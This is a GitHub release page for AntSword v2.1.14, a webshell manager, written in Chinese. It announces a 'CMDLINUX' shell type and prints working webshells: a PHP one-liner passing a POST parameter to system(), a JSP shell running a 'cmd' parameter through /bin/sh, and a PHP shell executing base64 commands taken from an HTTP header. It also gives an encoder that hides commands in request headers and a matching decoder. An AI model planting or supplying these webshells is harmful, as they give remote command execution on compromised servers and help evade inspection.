Skip to content

AntSword v2.1.14

Compare
Choose a tag to compare
@Medicean Medicean released this 25 Jul 03:57
· 74 commits to master since this release

核心

  • ❗️❗️❗️新增 CMDLINUX Shell 类型

基于命令执行的一句话类型, 仅支持 Linux 环境

只要有一个可以执行命令的点, 就可以快乐起来 :) 更多内容见这篇文章

  • PHP:
<?php system($_POST['ant']);?>
  • 比较流行的 JSP 命令执行 WebShell
<%
  if(request.getParameter("cmd")!=null){
    java.io.InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")}).getInputStream();
    int a = -1;
    byte[] b = new byte[1];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
      out.print(new String(b));
    }
    out.print("</pre>");
  }
%>

注意: Runtime.exec 方法直接传入字符串时不支持多条命令拼接,需要使用数组方式

  • 简化新增类型后Shell创建步骤

数据库管理

  • 新增 CMDLINUX 类型数据库管理(支持 mysql、sqlite3)

利用 mysql和sqlite3 客户端命令,需要目标上有对应的二进制

  • 修复 PHP SQLite 下自动生成的 sql 语句语法错误的 Bug

系统设置

  • 编码管理支持 cmdlinux 类型

在使用 cmdlinux 类型时,如果接收参数在 HTTP Header 部分, 请务必使用编码器,因为部分 Payload 有换行符

eg:

WebShell:

<?php system(base64_decode($_SERVER["HTTP_CMD"])); ?>

对应该的编码器如下:

'use strict';

module.exports = (pwd, data, ext={}) => {
  let headers = ext.opts.httpConf.headers;
  headers[pwd] = Buffer.from(data['_']).toString('base64');
  delete data['_'];
  return data;
}
  • 解码器支持 CMDLinux

base64 解码器:

/**
 * cmdlinux::base64解码器
 */

'use strict';

module.exports = {
  asoutput: () => {
    return `asenc(){ base64 "$@"; };` // 注意此处是 Shell 语法
  },
  decode_buff: (buff) => {
    return Buffer.from(buff.toString(), 'base64');
  }
}